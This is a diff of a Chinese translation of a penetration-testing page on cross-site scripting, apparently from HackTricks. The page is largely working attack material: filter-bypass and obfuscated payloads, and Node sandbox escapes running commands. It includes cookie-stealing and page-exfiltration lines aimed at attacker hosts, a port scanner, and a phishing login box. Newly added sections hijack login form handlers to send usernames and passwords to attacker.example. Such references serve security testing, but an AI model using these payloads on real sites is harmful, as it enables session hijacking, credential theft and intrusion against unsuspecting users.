-例如，您可以在元素中添加一些样式，如：`position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
+例如，你可以在元素上添加如下样式： `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
 
-但是，如果WAF正在过滤样式属性，您可以使用CSS样式小工具，因此如果您发现，例如
+但是，如果 WAF 过滤了 style 属性，你可以使用 CSS Styling Gadgets，因此如果你发现，例如
 
 > .test {display:block; color: blue; width: 100%\}
 
-和
+以及
 
 > \#someid {top: 0; font-family: Tahoma;}
 
-现在您可以修改我们的链接并将其变为
+现在你可以修改我们的链接并把它变成如下形式
 
 > \<a href="" id=someid class=test onclick=alert() a="">
 
-这个技巧来自于[https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
+该技巧摘自 [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
 
-## 在JavaScript代码中注入
+## 在 JavaScript 代码中注入
 
-在这些情况下，您的**输入**将**反映在.js文件的JS代码**中，或在`<script>...</script>`标签之间，或在可以执行JS代码的HTML事件之间，或在接受`javascript:`协议的属性之间。
+在这些情况下，你的 **input** 会被 **反射到 JS 代码中**，比如在 `.js` 文件内、`<script>...</script>` 标签之间、在可以执行 JS 的 HTML 事件中，或在接受 `javascript:` 协议的属性中。
 
-### 转义\<script>标签
+### 转义 \<script> 标签
 
-如果您的代码插入在`<script> [...] var input = 'reflected data' [...] </script>`中，您可以轻松地**转义关闭`<script>`**标签：
+如果你的代码被插入在 `<script> [...] var input = 'reflected data' [...] </script>` 中，你可以很容易地**转义以闭合 `<script>`** 标签：
 ```javascript
 </script><img src=1 onerror=alert(document.domain)>
 ```
-注意，在这个例子中我们**甚至没有关闭单引号**。这是因为**HTML 解析首先由浏览器执行**，这涉及到识别页面元素，包括脚本块。解析 JavaScript 以理解和执行嵌入的脚本仅在之后进行。
+注意在这个例子中我们 **甚至都没有关闭单引号**。这是因为 **HTML 解析首先由浏览器执行**，该过程涉及识别页面元素，包括 script 块。随后才会对 JavaScript 进行解析以理解并执行嵌入的脚本。
 
 ### 在 JS 代码内部
 
-如果 `<>` 被清理，你仍然可以**转义字符串**，在你的输入**所在的位置**并**执行任意 JS**。修复 JS 语法是很重要的，因为如果有任何错误，JS 代码将不会被执行：
+如果 `<>` 被过滤，你仍然可以在输入被**放置**的位置**对字符串进行转义**并**执行任意 JS**。重要的是要**修复 JS 语法**，因为如果有任何错误，JS 代码将不会被执行：
 ```
 '-alert(document.domain)-'
 ';alert(document.domain)//
 \';alert(document.domain)//
 ```
+#### JS-in-JS 字符串中断 → inject → 修复 模式
+
+当用户输入落在一个带引号的 JavaScript 字符串中（例如，服务器端回显到内联脚本中）时，你可以终止该字符串、inject 代码，并修复语法以保持解析有效。通用骨架：
+```
+"            // end original string
+;            // safely terminate the statement
+<INJECTION>  // attacker-controlled JS
+; a = "      // repair and resume expected string/statement
+```
+当易受攻击的参数被反射到 JS 字符串中时的示例 URL 模式：
+```
+?param=test";<INJECTION>;a="
+```
+This executes attacker JS without needing to touch HTML context (pure JS-in-JS). Combine with blacklist bypasses below when filters block keywords.
+
 ### 模板字面量 \`\`
 
-为了构造 **字符串**，除了单引号和双引号，JS 还接受 **反引号** **` `` `**。这被称为模板字面量，因为它们允许使用 `${ ... }` 语法 **嵌入 JS 表达式**。\
-因此，如果你发现你的输入在使用反引号的 JS 字符串中被 **反射**，你可以利用语法 `${ ... }` 来执行 **任意 JS 代码**：
+In order to construct **strings** apart from single and double quotes JS also accepts **backticks** **` `` `** . This is known as template literals as they allow to **embedded JS expressions** using `${ ... }` syntax.\
+Therefore, if you find that your input is being **reflected** inside a JS string that is using backticks, you can abuse the syntax `${ ... }` to execute **arbitrary JS code**:
 
-这可以通过以下方式 **滥用**：
+This can be **abused** using:
 ```javascript
 ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
 ```
@@ -507,20 +527,36 @@ return loop
 }
 loop``
 ```
-### 编码代码执行
+### 编码的 code 执行
 ```html
 <script>\u0061lert(1)</script>
 <svg><script>alert&lpar;'1'&rpar;
 <svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
 <iframe srcdoc="<SCRIPT>alert(1)</iframe>">
 ```
-### Unicode 编码 JS 执行
+#### 可交付 payloads：eval(atob()) 与作用域细微差别
+
+为了缩短 URLs 并绕过简单的关键字过滤，你可以将真实逻辑进行 base64 编码，然后用 `eval(atob('...'))` 来执行它。  
+如果简单的关键字过滤会阻止像 `alert`、`eval` 或 `atob` 这样的标识符，可以使用 Unicode 转义的标识符，这些标识符在浏览器中编译后是相同的，但可以避开基于字符串匹配的过滤器：
+```
+\u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
+\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))
+```
+重要的作用域细节：在 `eval()` 内声明的 `const`/`let` 是块级作用域，并不会创建全局变量；它们对后续脚本不可访问。需要定义全局、不可重新绑定的钩子时（例如劫持表单处理器），使用动态注入的 `<script>` 元素：
+```javascript
+var s = document.createElement('script');
+s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
+document.head.appendChild(s);
+```
+参考: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
+
+### Unicode 编码的 JS 执行
 ```javascript
 alert(1)
 alert(1)
 alert(1)
 ```
-### JavaScript 绕过黑名单技术
+### JavaScript 绕过黑名单技巧
 
 **字符串**
 ```javascript
@@ -553,12 +589,12 @@ eval(8680439..toString(30))(983801..toString(36))
 "\t" //tab
 // Any other char escaped is just itself
 ```
-**JS代码中的空格替换**
+**JS 代码中的空格替换**
 ```javascript
 <TAB>
 /**/
 ```
-**JavaScript 注释 (来自** [**JavaScript 注释**](#javascript-comments) **技巧)**
+**JavaScript comments (来自** [**JavaScript Comments**](#javascript-comments) **技巧)**
 ```javascript
 //This is a 1 line comment
 /* This is a multiline comment*/
@@ -566,7 +602,7 @@ eval(8680439..toString(30))(983801..toString(36))
 #!This is a 1 line comment, but "#!" must to be at the beggining of the first line
 -->This is a 1 line comment, but "-->" must to be at the beggining of the first line
 ```
-**JavaScript 新行（来自** [**JavaScript 新行**](#javascript-new-lines) **技巧）**
+**JavaScript new lines (来自** [**JavaScript new line**](#javascript-new-lines) **技巧)**
 ```javascript
 //Javascript interpret as new line these chars:
 String.fromCharCode(10)
@@ -578,7 +614,7 @@ alert("//\u2028alert(1)") //0xe2 0x80 0xa8
 String.fromCharCode(8233)
 alert("//\u2029alert(1)") //0xe2 0x80 0xa9
 ```
-**JavaScript 空格**
+**JavaScript 空白字符**
 ```javascript
 log=[];
 function funct(){}
@@ -595,14 +631,14 @@ console.log(log)
 //Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
 <img/src/onerror=alert&#65279;(1)>
 ```
-**在注释中的Javascript**
+**Javascript 在注释中**
 ```javascript
 //If you can only inject inside a JS comment, you can still leak something
 //If the user opens DevTools request to the indicated sourceMappingURL will be send
 
 //# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
 ```
-**没有括号的JavaScript**
+**JavaScript 无需括号**
 ```javascript
 // By setting location
 window.location='javascript:alert\x281\x29'
@@ -681,7 +717,7 @@ try{throw onerror=alert}catch{throw 1}
 - [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
 - [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
 
-**任意函数（alert）调用**
+**任意函数 (alert) 调用**
 ```javascript
 //Eval like functions
 eval('ale'+'rt(1)')
@@ -741,62 +777,64 @@ top['al\x65rt'](1)
 top[8680439..toString(30)](1)
 <svg><animate onbegin=alert() attributeName=x></svg>
 ```
-## **DOM 漏洞**
+## **DOM vulnerabilities**
+
+存在 **JS code** 使用了由攻击者控制的**不安全数据**，例如 `location.href`。攻击者可以滥用这些数据来执行任意 JS 代码。\
+**由于对** [**DOM vulnerabilities**](dom-xss.md) **的说明较长，已将其移至该页面：**
 
-有 **JS 代码** 使用 **由攻击者控制的不安全数据**，如 `location.href`。攻击者可以利用这一点执行任意的 JS 代码。\
-**由于对** [**DOM 漏洞的解释扩展，已移至此页面**](dom-xss.md)**：**
 
 {{#ref}}
 dom-xss.md
 {{#endref}}
 
-在这里，您将找到关于 **DOM 漏洞是什么、如何引发以及如何利用它们的详细解释**。\
-此外，请不要忘记在提到的帖子末尾，您可以找到关于 [**DOM Clobbering 攻击**](dom-xss.md#dom-clobbering) 的解释。
+在那里你会找到关于 **DOM vulnerabilities 是什么、如何被触发以及如何利用它们** 的详细解释。\
+另外，别忘了在上述文章的末尾可以找到关于 [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering) 的说明。
 
-### 升级 Self-XSS
+### Upgrading Self-XSS
 
 ### Cookie XSS
 
-如果您可以通过在 cookie 中发送有效负载来触发 XSS，这通常是自我 XSS。然而，如果您发现一个 **易受 XSS 攻击的子域名**，您可以利用这个 XSS 在整个域中注入一个 cookie，从而在主域或其他子域（易受 cookie XSS 攻击的那些）中触发 cookie XSS。为此，您可以使用 cookie tossing 攻击：
+如果你能通过将 payload 放入 cookie 来触发 XSS，这通常是 self-XSS。然而，如果你发现一个 **vulnerable subdomain to XSS**，你可以滥用该 XSS 向整个域注入 cookie，从而在主域或其他子域（那些对 cookie XSS 易受攻击的子域）触发 cookie XSS。为此你可以使用 cookie tossing attack：
+
 
 {{#ref}}
 ../hacking-with-cookies/cookie-tossing.md
 {{#endref}}
 
-您可以在 [**这篇博客文章**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) 中找到对该技术的极佳利用。
+你可以在 [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) 中看到对此技术的优秀滥用示例。
 
-### 将您的会话发送给管理员
+### Sending your session to the admin
 
-也许用户可以与管理员共享他的个人资料，如果自我 XSS 在用户的个人资料中，而管理员访问了该资料，他将触发该漏洞。
+可能某个用户可以与 管理员 分享他的 profile，如果 self XSS 存在于该用户的 profile 中且 管理员 访问它，就会触发该漏洞。
 
-### 会话镜像
+### Session Mirroring
 
-如果您发现一些自我 XSS，并且网页有 **管理员的会话镜像**，例如允许客户请求帮助，为了帮助您，管理员将看到您在会话中看到的内容，但从他的会话中。
+如果你发现了某些 self XSS 并且网页对 管理员 有 **session mirroring for administrators**，例如允许客户寻求帮助，为了帮助你 管理员 会看到你在 session 中看到的内容，但是在他的 session 中。
 
-您可以让 **管理员触发您的自我 XSS** 并窃取他的 cookies/会话。
+你可以让 管理员 触发你的 self XSS 并窃取他的 cookies/session。
 
-## 其他绕过
+## Other Bypasses
 
-### 规范化 Unicode
+### Normalised Unicode
 
-您可以检查 **反射值** 是否在服务器（或客户端）中 **进行 Unicode 规范化**，并利用此功能绕过保护。 [**在这里找到一个示例**](../unicode-injection/index.html#xss-cross-site-scripting)。
+你可以检查 **reflected values** 是否在服务器端（或客户端）被 **unicode normalized**，并滥用此功能来绕过防护。 [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
 
-### PHP FILTER_VALIDATE_EMAIL 标志绕过
+### PHP FILTER_VALIDATE_EMAIL flag Bypass
 ```javascript
 "><svg/onload=confirm(1)>"@x.y
 ```
-### Ruby-On-Rails 绕过
+### Ruby-On-Rails bypass
 
-由于 **RoR 大量赋值**，引号被插入到 HTML 中，然后绕过引号限制，并且可以在标签内添加额外字段（onfocus）。\
-表单示例 ([from this report](https://hackerone.com/reports/709336))，如果您发送有效负载：
+由于 **RoR mass assignment**，引号会被插入到 HTML 中，从而绕过引号限制，并可以在标签内部添加额外字段（onfocus）。\
+表单示例 ([from this report](https://hackerone.com/reports/709336))，如果你发送 payload:
 ```
 contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
 ```
-成对的 "Key","Value" 将被回显如下：
+键值对 "Key","Value" 将被回显如下：
 ```
 {" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
 ```
-然后，将插入 onfocus 属性，并发生 XSS。
+然后，会插入 onfocus 属性并触发 XSS。
 
 ### 特殊组合
 ```html
@@ -828,24 +866,24 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
 window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
 document['default'+'View'][`\u0061lert`](3)
 ```
-### XSS与302响应中的头部注入
+### XSS with header injection in a 302 response
 
-如果你发现可以**在302重定向响应中注入头部**，你可以尝试**让浏览器执行任意JavaScript**。这**并不简单**，因为现代浏览器在HTTP响应状态码为302时不会解释HTTP响应体，因此仅仅一个跨站脚本有效载荷是无用的。
+如果你发现可以 **inject headers in a 302 Redirect response**，可以尝试 **make the browser execute arbitrary JavaScript**。这并不简单，因为现代 browsers 在 HTTP 响应状态码为 302 时不会解释 HTTP response body，所以单纯的 cross-site scripting payload 是无效的。
 
-在[**这份报告**](https://www.gremwell.com/firefox-xss-302)和[**这份报告**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)中，你可以阅读如何测试Location头部中的几种协议，并查看其中是否有任何协议允许浏览器检查并执行体内的XSS有效载荷。\
-已知的过去协议：`mailto://`、`//x:1/`、`ws://`、`wss://`、_空Location头部_、`resource://`。
+In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) 你可以阅读如何在 Location header 内测试多种 protocols，并查看是否有允许 browser 检查并执行 body 中 XSS payload 的协议。\
+Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
 
-### 仅限字母、数字和点
+### Only Letters, Numbers and Dots
 
-如果你能够指示javascript将要**执行**的**回调**仅限于这些字符。[**阅读这篇文章的这一部分**](#javascript-function)以了解如何利用这种行为。
+如果你能够指定将被 javascript 执行的 **callback** 且限制为这些字符，请参考 [**Read this section of this post**](#javascript-function) 以了解如何滥用此行为。
 
-### 有效的`<script>`内容类型以进行XSS
+### Valid `<script>` Content-Types to XSS
 
-（来自[**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)）如果你尝试加载一个**内容类型**为`application/octet-stream`的脚本，Chrome将抛出以下错误：
+(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 如果你尝试以 `application/octet-stream` 这样的 **content-type** 加载 script，Chrome 会抛出如下错误：
 
-> 拒绝从‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx')执行脚本，因为其MIME类型（‘application/octet-stream’）不可执行，并且启用了严格的MIME类型检查。
+> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
 
-唯一支持Chrome运行**加载脚本**的**Content-Type**是[https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)中const **`kSupportedJavascriptTypes`**内的类型。
+唯一会让 Chrome 运行被加载 script 的 **Content-Type** 是位于 const **`kSupportedJavascriptTypes`** 中的那些，见 [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
 ```c
 const char* const kSupportedJavascriptTypes[] = {
 "application/ecmascript",
@@ -867,14 +905,14 @@ const char* const kSupportedJavascriptTypes[] = {
 };
 
 ```
-### Script Types to XSS
+### 用于 XSS 的脚本类型
 
-(来自 [**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 那么，哪些类型可以指示加载脚本呢？
+(摘自 [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 那么，哪些类型可以用来加载脚本？
 ```html
 <script type="???"></script>
 ```
 - **module** (默认，无需解释)
-- [**webbundle**](https://web.dev/web-bundles/): Web Bundles 是一个功能，您可以将一堆数据（HTML、CSS、JS…）打包到一个 **`.wbn`** 文件中。
+- [**webbundle**](https://web.dev/web-bundles/): Web Bundles 是一个功能，允许你将一堆数据 (HTML, CSS, JS…) 打包到一个 **`.wbn`** 文件中。
 ```html
 <script type="webbundle">
 {
@@ -884,7 +922,7 @@ const char* const kSupportedJavascriptTypes[] = {
 </script>
 The resources are loaded from the source .wbn, not accessed via HTTP
 ```
-- [**importmap**](https://github.com/WICG/import-maps)**:** 允许改进导入语法
+- [**importmap**](https://github.com/WICG/import-maps)**:** 允许改进 import 语法
 ```html
 <script type="importmap">
 {
@@ -901,9 +939,9 @@ import moment from "moment"
 import { partition } from "lodash"
 </script>
 ```
-这种行为在 [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) 中被用来重新映射一个库到 eval，以滥用它可以触发 XSS。
+这种行为在 [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) 中被用来将一个库重新映射为 eval；滥用它可以触发 XSS。
 
-- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** 这个功能主要是为了解决一些由预渲染引起的问题。它的工作原理如下：
+- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** 这个特性主要用于解决由预渲染引起的一些问题。它的工作方式如下：
 ```html
 <script type="speculationrules">
 {
@@ -921,22 +959,22 @@ import { partition } from "lodash"
 ```
 ### Web Content-Types to XSS
 
-(来自 [**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 以下内容类型可以在所有浏览器中执行 XSS：
+(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 下列内容类型可以在所有浏览器中执行 XSS：
 
 - text/html
 - application/xhtml+xml
 - application/xml
 - text/xml
 - image/svg+xml
-- text/plain (?? 不在列表中，但我认为我在 CTF 中见过这个)
-- application/rss+xml (关闭)
-- application/atom+xml (关闭)
+- text/plain (?? 不在列表中，但我记得在一个 CTF 里见过)
+- application/rss+xml (无效)
+- application/atom+xml (无效)
 
-在其他浏览器中，其他 **`Content-Types`** 可以用来执行任意 JS，查看: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
+在其他浏览器中，其他 **`Content-Types`** 也可以用来执行任意 JS，参见: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
 
 ### xml Content Type
 
-如果页面返回 text/xml 内容类型，可以指示一个命名空间并执行任意 JS：
+如果页面返回 text/xml 内容类型，可以指定命名空间并执行任意 JS：
 ```xml
 <xml>
 <text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@@ -946,20 +984,20 @@ import { partition } from "lodash"
 ```
 ### 特殊替换模式
 
-当使用类似 **`"some {{template}} data".replace("{{template}}", <user_input>)`** 的代码时，攻击者可以使用 [**特殊字符串替换**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) 来尝试绕过某些保护措施： `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
+当出现像 **`"some {{template}} data".replace("{{template}}", <user_input>)`** 这样的用法时，攻击者可能会使用 [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) 试图绕过一些防护： `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
 
-例如，在 [**这篇文章**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) 中，这被用来 **转义脚本中的 JSON 字符串** 并执行任意代码。
+例如在 [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)，这被用来在脚本中**转义 JSON 字符串**并执行任意代码。
 
-### Chrome 缓存到 XSS
+### Chrome Cache 导致 XSS
 
 
 {{#ref}}
 chrome-cache-to-xss.md
 {{#endref}}
 
-### XS 监狱逃逸
+### XS Jails Escape
 
-如果您只能使用有限的字符集，请查看这些其他有效的解决方案以解决 XSJail 问题：
+如果你只能使用有限的字符集，请查看这些针对 XSJail 问题的其他可行解决方案：
 ```javascript
 // eval + unescape + regex
 eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
@@ -990,22 +1028,22 @@ constructor(source)()
 // For more uses of with go to challenge misc/CaaSio PSE in
 // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
 ```
-如果在执行不受信任的代码之前**一切都是未定义的**（如在[**这篇文章**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)中所述），则可以“凭空”生成有用的对象，以滥用任意不受信任代码的执行：
+如果在执行不受信任的代码之前，**所有东西都是 undefined**（像在 [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)），就可以“从无到有”生成有用的对象来滥用任意不受信任代码的执行：
 
-- 使用 import()
+- Using import()
 ```javascript
 // although import "fs" doesn’t work, import('fs') does.
 import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
 ```
 - 间接访问 `require`
 
-[根据这个](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 模块在 Node.js 中被包装在一个函数内，如下所示：
+[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 模块被 Node.js 包装在一个函数中，如下：
 ```javascript
 ;(function (exports, require, module, __filename, __dirname) {
 // our actual module code
 })
 ```
-因此，如果我们可以从该模块**调用另一个函数**，则可以从该函数使用 `arguments.callee.caller.arguments[1]` 来访问 **`require`**：
+因此，如果我们能从该模块**调用另一个函数**，则可以在该函数中使用`arguments.callee.caller.arguments[1]`来访问**`require`**:
 ```javascript
 ;(function () {
 return arguments.callee.caller.arguments[1]("fs").readFileSync(
@@ -1014,7 +1052,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
 )
 })()
 ```
-以与之前示例类似的方式，可以**使用错误处理程序**访问模块的**包装器**并获取**`require`**函数：
+与前面的示例类似，可以通过**使用错误处理程序**访问模块的**包装器**并获取**`require`**函数：
 ```javascript
 try {
 null.f()
@@ -1052,9 +1090,9 @@ console.log(req("child_process").execSync("id").toString())
 }
 trigger()
 ```
-### 混淆与高级绕过
+### Obfuscation & Advanced Bypass
 
-- **同一页面中的不同混淆：** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
+- **同一页面中的不同 obfuscations：** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
 - [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
 - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
 - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
@@ -1233,24 +1271,25 @@ oﾟｰﾟo = (ﾟωﾟﾉ + "_")[c ^ _ ^ o]
 ```javascript
 // It's also possible to execute JS code only with the chars: []`+!${}
 ```
-## XSS 常见有效载荷
+## XSS 常见 payloads
 
-### 多个有效载荷在 1 中
+### 多个 payloads 合并为 1
 
 
 {{#ref}}
 steal-info-js.md
 {{#endref}}
 
-### Iframe 陷阱
+### Iframe Trap
+
+使用户在页面内浏览而不离开 iframe 并窃取其操作（包括在表单中提交的信息）：
 
-使用户在页面中导航而不退出 iframe，并窃取其操作（包括在表单中发送的信息）：
 
 {{#ref}}
 ../iframe-traps.md
 {{#endref}}
 
-### 检索 Cookies
+### 获取 Cookies
 ```javascript
 <img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
 <img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
@@ -1273,9 +1312,9 @@ steal-info-js.md
 <script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
 ```
 > [!TIP]
-> 如果在 cookie 中设置了 HTTPOnly 标志，您 **将无法通过 JavaScript 访问 cookies**。但如果您足够幸运，这里有 [一些绕过此保护的方法](../hacking-with-cookies/index.html#httponly)。
+> 如果 cookie 设置了 HTTPOnly 标志，你将无法从 JavaScript 访问 cookies。但如果你足够幸运，这里有一些[绕过该保护的方法](../hacking-with-cookies/index.html#httponly)。
 
-### 偷取页面内容
+### 窃取页面内容
 ```javascript
 var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
 var attacker = "http://10.10.14.8/exfil"
@@ -1288,7 +1327,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
 xhr.open("GET", url, true)
 xhr.send(null)
 ```
-### 查找内部IP地址
+### 查找内部 IP 地址
 ```html
 <script>
 var q = []
@@ -1345,11 +1384,11 @@ q.shift()()
 }
 </script>
 ```
-### 端口扫描器 (fetch)
+### Port Scanner (fetch)
 ```javascript
 const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
 ```
-### 端口扫描器 (websockets)
+### Port Scanner (websockets)
 ```python
 var ports = [80, 443, 445, 554, 3306, 3690, 1234];
 for(var i=0; i<ports.length; i++) {
@@ -1364,11 +1403,11 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
 };
 }
 ```
-_短时间表示端口响应_ _较长时间表示没有响应。_
+_Short times indicate a responding port_ _Longer times indicate no response._
 
-查看 Chrome 中禁止的端口列表 [**这里**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) 和 Firefox 中的 [**这里**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)。
+查看 Chrome 中被封禁的 ports 列表 [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) 和 Firefox 中被封禁的 ports 列表 [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
 
-### 询问凭据的框
+### 用于请求凭证的框
 ```html
 <style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
 ```
@@ -1383,16 +1422,31 @@ mode: 'no-cors',
 body:username.value+':'+this.value
 });">
 ```
-当任何数据被输入到密码字段时，用户名和密码会被发送到攻击者的服务器，即使客户端选择了一个保存的密码而没有输入任何内容，凭据也会被外泄。
+当在 password 字段中输入任何数据时，username 和 password 会被发送到攻击者的服务器；即使客户端选择了已保存的密码而没有手动输入，凭证仍会被 ex-filtrated。
+
+### Hijack form handlers to exfiltrate credentials (const shadowing)
+
+如果一个关键 handler（例如 `function DoLogin(){...}`）在页面中较晚声明，而你的 payload 较早运行（例如通过 inline JS-in-JS sink），那么先用相同名字定义一个 `const` 来抢占并锁定该 handler。随后声明的 function 无法重新绑定 `const` 名称，从而使你的 hook 保持控制：
+```javascript
+const DoLogin = () => {
+const pwd  = Trim(FormInput.InputPassword.value);
+const user = Trim(FormInput.InputUtente.value);
+fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
+};
+```
+Notes
+- 这依赖于执行顺序：你的注入必须在合法声明之前执行。
+- 如果你的 payload 被包在 `eval(...)` 中，`const/let` 绑定不会变成全局。使用来自章节 “Deliverable payloads with eval(atob()) and scope nuances” 的动态 `<script>` 注入技术，以确保真正的全局、不可重新绑定的绑定。
+- 当关键字过滤阻止代码时，可结合 Unicode 转义标识符或 `eval(atob('...'))` 的投递，如上所示。
 
 ### Keylogger
 
-仅在 GitHub 上搜索，我找到了几个不同的：
+在 github 上简单搜索，我找到了一些不同的实现：
 
 - [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
 - [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
 - [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
-- 你也可以使用 metasploit `http_javascript_keylogger`
+- 你也可以使用 metasploit 的 `http_javascript_keylogger`
 
 ### Stealing CSRF tokens
 ```javascript
@@ -1409,7 +1463,7 @@ changeReq.send('csrf='+token+'&email=test@test.com')
 };
 </script>
 ```
-### 偷窃 PostMessage 消息
+### 窃取 PostMessage 消息
 ```html
 <img src="https://attacker.com/?" id=message>
 <script>
@@ -1417,30 +1471,30 @@ window.onmessage = function(e){
 document.getElementById("message").src += "&"+e.data;
 </script>
 ```
-### 滥用服务工作者
